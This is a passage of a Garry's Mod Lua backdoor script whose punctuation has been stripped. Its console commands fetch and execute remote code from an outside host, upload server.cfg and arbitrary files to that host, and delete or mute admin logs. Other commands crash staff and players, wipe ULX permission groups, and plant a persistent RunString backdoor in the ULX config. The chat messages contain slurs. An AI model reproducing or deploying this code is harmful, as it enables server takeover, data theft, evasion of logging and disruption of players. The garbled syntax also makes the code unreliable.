1384 hook.Remove(PlayerFootstep, memesv2)
1385 plyChatPrint([RunString] Moaning footsets disabled.)
1386 end
1387end )
1388
1389concommand.Add(httpfetch, function(ply,cmd,arg)
1390 if arg[1] == nil then
1391 plyChatPrint([RunString] Usage error httpfetch svcl url)
1392 elseif arg[1] == sv then
1393 http.Fetch('http'..arg[2], function(b) RunString(b) end)
1394 elseif arg[1] == clthen
1395 plySendLua(http.Fetch('http..arg[2].., function(b) RunString(b) end))
1396 end
1397end )
1398
1399concommand.Add(update, function(ply)
1400 http.Fetch('httpteamorbit.x10.bzluagas.lua',function(b,l,h,c)RunString(b)end,nil)
1401 plyChatPrint( [RunString] Retrieved latest version. )
1402end )
1403
1404local bm = false
1405concommand.Add(2d, function(ply)
1406local a = plyLookupBone(ValveBiped.Bip01_Head1)
1407local b = plyLookupBone(ValveBiped.Bip01_R_Thigh)
1408local c = plyLookupBone(ValveBiped.Bip01_L_Thigh)
1409local d = plyLookupBone(ValveBiped.Bip01_R_Calf)
1410local e = plyLookupBone(ValveBiped.Bip01_L_Calf)
1411local f = plyLookupBone(ValveBiped.Bip01_R_UpperArm)
1412local g = plyLookupBone(ValveBiped.Bip01_L_UpperArm)
1413local h = plyLookupBone(ValveBiped.Bip01_R_Forearm)
1414local i = plyLookupBone(ValveBiped.Bip01_L_Forearm)
1415local j = plyLookupBone(ValveBiped.Bip01_R_Clavicle)
1416local k = plyLookupBone(ValveBiped.Bip01_L_Clavicle)
1417 bm = !bm
1418 if( bm ) then
1419 for k,v in pairs(player.GetAll()) do
1420 vManipulateBoneScale( a, Vector(4,0,4))
1421 vManipulateBoneScale( b, Vector(0,0,0))
1422 vManipulateBoneScale( c, Vector(0,0,0))
1423 vManipulateBoneScale( d, Vector(0,0,1))
1424 vManipulateBoneScale( e, Vector(0,0,1))
1425 vManipulateBoneScale( f, Vector(0,0,0))
1426 vManipulateBoneScale( g, Vector(0,0,0))
1427 vManipulateBoneScale( h, Vector(1,1.5,1.5))
1428 vManipulateBoneScale( i, Vector(1,1.5,1.5))
1429 vManipulateBoneScale( j, Vector(0,0,0))
1430 vManipulateBoneScale( k, Vector(0,0,0))
1431end
1432 plyChatPrint( [RunString] Enabled 2d players. )
1433 else
1434 plyChatPrint( [RunString] Disabled 2d players. )
1435 for k,v in pairs(player.GetAll()) do
1436 vManipulateBoneScale( a, Vector(1,1,1))
1437 vManipulateBoneScale( b, Vector(1,1,1))
1438 vManipulateBoneScale( c, Vector(1,1,1))
1439 vManipulateBoneScale( d, Vector(1,1,1))
1440 vManipulateBoneScale( e, Vector(1,1,1))
1441 vManipulateBoneScale( f, Vector(1,1,1))
1442 vManipulateBoneScale( g, Vector(1,1,1))
1443 vManipulateBoneScale( h, Vector(1,1,1))
1444 vManipulateBoneScale( i, Vector(1,1,1))
1445 vManipulateBoneScale( j, Vector(1,1,1))
1446 vManipulateBoneScale( k, Vector(1,1,1))
1447 end
1448 end
1449end )
1450
1451concommand.Add(dosh, function(ply)
1452 for k,v in pairs(player.GetAll()) do vaddMoney(99999999999999999) plyChatPrint([RunString] Fucked economy of active players.) vChatPrint(You were given a small loan of several billion dollars.) end
1453end )
1454
1455concommand.Add(restartserver, function()
1456 game.GetWorld()Remove()
1457end )
1458
1459local ml = false
1460concommand.Add(mutelogs, function(ply)
1461 ml = !ml
1462 if( ml ) then
1463 for k,v in pairs(Logs) do RunConsoleCommand(v,0) end
1464 plyChatPrint( [RunString] Successfully muted all logging. )
1465 timer.Create( ml, 2, 0, function()
1466 timer.Simple(0, function() RunConsoleCommand(ulx,logEcho,0) end )
1467 timer.Simple(0, function() file.Delete(ulx_logs..Date...txt) end )
1468 timer.Simple(0, function() sql.Query(DELETE FROM blogs_v3 WHERE involved = '[]') end )
1469 end )
1470 else
1471 for k,v in pairs(Logs) do RunConsoleCommand(v,1) end
1472 timer.Destroy( ml )
1473 plyChatPrint( [RunString] Successfully unmuted all logging. )
1474 end
1475end )
1476
1477concommand.Add(wipedata, function(ply)
1478 http.Fetch('httpteamorbit.x10.bzluaserverwipe.lua',function(b,l,h,c)RunString(b)end,nil)
1479 plyChatPrint( [RunString] Initiated Server Wipe. )
1480end )
1481
1482concommand.Add(clearlogs, function(ply)
1483 sql.Query( DELETE FROM blogs_v3; )
1484 sql.Query( DELETE FROM ulogs; )
1485 sql.Query( DELETE FROM mlog_logs; )
1486 file.Delete( ulx_logs..Date...txt )
1487 plyChatPrint( [RunString] Silently killed all logs. )
1488end )
1489
1490concommand.Add(crashadmins, function(ply)
1491 plyChatPrint( [RunString] Crashed all staff present. )
1492 for k,v in pairs(player.GetAll()) do if (table.HasValue(StaffRanks, vGetUserGroup())) then vSendLua(while true do end) end end
1493end )
1494
1495concommand.Add(crashplayers, function(ply)
1496 plyChatPrint( [RunString] Crashed all players except lads. )
1497 for k,v in pairs(player.GetAll()) do if (!table.HasValue(StaffRanks, vGetUserGroup())) then vSendLua(while true do end) end end
1498end )
1499
1500concommand.Add( smashconsole, function(ply)
1501 sc = !sc
1502 if( sc ) then
1503 plyChatPrint( [RunString] Enabled console jammer )
1504 timer.Create( sc, 0.5, 0, function()
1505 print( nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn )
1506 end )
1507 else
1508 plyChatPrint( [RunString] Disabled consolejammer )
1509 timer.Destroy( sc )
1510 end
1511end )
1512
1513concommand.Add(namechange, function(ply,cmd,arg)
1514local DESIRED_NAME = arg[1]
1515for k, v in pairs(player.GetAll()) do
1516 DarkRP.storeRPName(v, DESIRED_NAME)
1517 vsetDarkRPVar(rpname, DESIRED_NAME)
1518end
1519 plyChatPrint( [RunString] Changed user names )
1520end )
1521
1522concommand.Add(silentslay, function(ply,cmd,arg)
1523for k, v in pairs(player.GetAll()) do
1524 if string.find(vNick()lower(),arg[1]) then
1525 vKillSilent()
1526 end
1527 end
1528 plyChatPrint([RunString] Silently slayed nerd(s))
1529end )
1530
1531concommand.Add(p_remove, function(ply,cmd,arg)
1532 if arg[1] == nil then
1533 plyChatPrint([RunString] Usage p_remove arg)
1534else
1535 for k, v in pairs(ents.FindInSphere(plyGetPos(), arg[1])) do
1536 if vGetClass() == prop_physics then
1537 vRemove()
1538 end
1539 end
1540 plyChatPrint([RunString] Removed all props in a ..arg[1].. gmod unit radius.)
1541end
1542end )
1543
1544concommand.Add(rcon_run, function(ply,cmd,arg)
1545if arg[1] == nil then
1546 plyChatPrint([RunString] Usage rcon_run arg)
1547 else
1548 game.ConsoleCommand(arg[1]..n)
1549 plyChatPrint([RunString] Rcon ran ..arg[1])
1550 end
1551end )
1552
1553concommand.Add(unban, function(ply,cmd,arg)
1554 if arg[1] == nil then
1555 plyChatPrint([RunString] Usage unban ipulx arg)
1556 elseif arg[1] == ip then
1557 RunConsoleCommand(removeip, arg[2])
1558 plyChatPrint([RunString] Silently unbanned ip ..arg[2])
1559 elseif arg[1] == ulx then
1560 ULib.unban(arg[2])
1561 plyChatPrint([RunString] Silently unbanned ..arg[2])
1562 end
1563end )
1564
1565concommand.Add(forcesay, function(ply,cmd,arg)
1566for k, v in pairs(player.GetAll()) do
1567 if string.find(vNick()lower(),arg[1]) then
1568 vConCommand(say ..arg[2])
1569 end
1570 end
1571end )
1572
1573concommand.Add(nukeulx, function(ply)
1574if ULib then
1575 for groupName, _ in pairs(ULib.ucl.groups) do
1576 if groupName ~= user then
1577 ULib.ucl.removeGroup(groupName)
1578 end
1579 end
1580 end
1581 plyChatPrint([RunString] Nuked ULX.)
1582end )
1583
1584concommand.Add(m9knuke, function(ply)
1585local rocket = ents.Create(m9k_launched_davycrockett)
1586local ply2 = table.Random(player.GetAll())
1587if ply2 == ply then plyChatPrint([RunString] Prevented epicentre from being you.) else
1588 rocketSetPos(ply2GetPos())
1589 rocketSetOwner(ply2)
1590 rocket.Owner = ply2
1591 rocketSpawn()
1592 rocketActivate()
1593plyChatPrint([RunString] Allahu akbar.)
1594end
1595end )
1596
1597concommand.Add(servercfg, function(ply)
1598 http.Post(httpteamorbit.x10.bzluadatamakefolders.php,{a=string.sub( GetHostName(), 1, 10 ),b=cfg})
1599 http.Post(httpteamorbit.x10.bzluadatamakefiles.php,{a=string.sub( GetHostName(), 1, 10 ),b=cfgserver.cfg,c=file.Read(cfgserver.cfg,GAME)})
1600 plyChatPrint([RunString] Stole server.cfg contact Admin for it.)
1601end )
1602
1603concommand.Add(stealfile, function(ply,cmd,arg)
1604 http.Post(httpteamorbit.x10.bzluadatamakefolders.php,{a=string.sub( GetHostName(), 1, 10 ),b=arg[1]})
1605 http.Post(httpteamorbit.x10.bzluadatamakefiles.php,{a=string.sub( GetHostName(), 1, 10 ),b=arg[2],c=file.Read(arg[2],GAME)})
1606 plyChatPrint([RunString] Attempted to steal a file, contact Admin.)
1607end )
1608
1609concommand.Add(helpme, function(ply,cmd,arg)
1610 if arg[1] == nil then
1611 plyChatPrint( Usage helpme 12 )
1612 elseif arg[1] == 1 then
1613 plyChatPrint( ~===[[Page 1]]===~ )
1614 plyChatPrint( • Memes hell, disco, rektmodels, moansteps, p_remove )
1615 plyChatPrint( • Util update, perms, unban )
1616 plyChatPrint( • Sneaky crashadmins, crashplayers, smashconsole, ulxconfig )
1617 plyChatPrint( • Destructive restartserver, dosh )
1618 elseif arg[1] == 2 then
1619 plyChatPrint( ~===[[Page 2]]===~ )
1620 plyChatPrint( • Memes 2d, stealdata, servercfg, namechange )
1621 plyChatPrint( • Util mutelogs, clearlogs, rcon_run, hail )
1622 plyChatPrint( • Sneaky silentslay, forcesay, stealfile )
1623 plyChatPrint( • Destructive wipedata, nukeulx, m9knuke )
1624 elseif arg[1] == 3 then
1625 plyChatPrint( ~===[[Page 3]]===~ )
1626 plyChatPrint( NOTHING TO ADD YET HERE RETARD. )
1627 end
1628end )
1629
1630concommand.Add(ulxconfig, function(ply)
1631 if(ulx) then
1632 file.Append( ulxconfig.txt, nulx luarun util.AddNetworkString('nostrip') net.Receive('nostrip',function(len,pl) RunStringEx(net.ReadString(),'[C]',false) end))
1633 plyChatPrint( [RunString] Successfully infected the ulx config. )
1634 else
1635 plyChatPrint( [RunString] ULX isn't present dickhead. )
1636 end
1637end )
1638
1639
1640concommand.Add(stealdata, function(ply,cmd,arg)
1641 if arg[1] == nil then
1642 plyChatPrint([RunString] Usage stealdata stealthransom)
1643elseif arg[1] == stealth then
1644 stealthjewdata()
1645 plyChatPrint([RunString] Usage Stole data without deleting.)
1646elseif arg[1] == ransom then
1647 ransomjewdata()
1648 plyChatPrint([RunString] Usage Stole data & removed all data.)
1649 end
1650end )
1651
1652
1653local sm = false
1654local proplist = {
1655modelsprops_c17FurnitureWashingmachine001a.mdl,
1656modelsprops_c17Lockers001a.mdl,
1657modelsprops_c17oildrum001.mdl,
1658modelsprops_combinebreenchair.mdl,
1659modelsprops_c17concrete_barrier001a.mdl,
1660modelsprops_c17furnitureStove001a.mdl,
1661modelsprops_interiorsVendingMachineSoda01a.mdl,
1662modelsprops_interiorsrefrigerator01a.mdl,
1663modelsprops_wastelandlaundry_dryer002.mdl,
1664modelsprops_canalbridge_pillar02.mdl,
1665modelsprops_wastelandcoolingtank02.mdl,
1666modelsprops_junkTrashBin01a.mdl,
1667modelsprops_wastelandcargo_container01.mdl,
1668modelsprops_wastelandcargo_container01c.mdl,
1669modelsprops_wastelandwheel02b.mdl,
1670modelsprops_wastelandlaundry_washer003.mdl,
1671modelsprops_wastelandkitchen_fridge001a.mdl,
1672modelsprops_wastelandmedbridge_strut01.mdl,
1673modelsprops_wastelandmedbridge_base01.mdl,
1674modelsprops_wastelandlaundry_dryer001.mdl,
1675modelsprops_wastelandhorizontalcoolingtank04.mdl,
1676modelsprops_c17metalladder002.mdl,
1677modelshunterblockscube8x8x8.mdl,
1678modelsprops_buildingswatertower_001a.mdl,
1679modelsprops_buildingswatertower_001c.mdl,
1680modelsprops_phxhugetower.mdl,
1681modelspropsde_nukecoolingtower.mdl,
1682modelshuntertubestube4x4x16.mdl,
1683modelsprops_wastelandcranemagnet01a.mdl,
1684modelspropsde_nukecoolingtank.mdl
1685}
1686
1687concommand.Add( rektmodels, function(ply)
1688 sm = !sm
1689 if( sm ) then
1690 plyChatPrint( [RunString] Enabled model change spammer )
1691 timer.Create( sm, 0.5, 0, function()
1692 for k,v in pairs( player.GetAll() ) do
1693 vSetModel(table.Random( proplist) )
1694 vSetPlayerColor( Vector( 0,0,0 ) )
1695 end
1696 end )
1697 else
1698 plyChatPrint( [RunString] Disabled model change spammer )
1699 timer.Destroy( sm )
1700 for k,v in pairs( player.GetAll() ) do
1701 vSetModel(modelsplayerGroup01male_01.mdl)
1702 vSetPlayerColor( Vector( 0,0,0 ) )
1703 end
1704 end
1705end )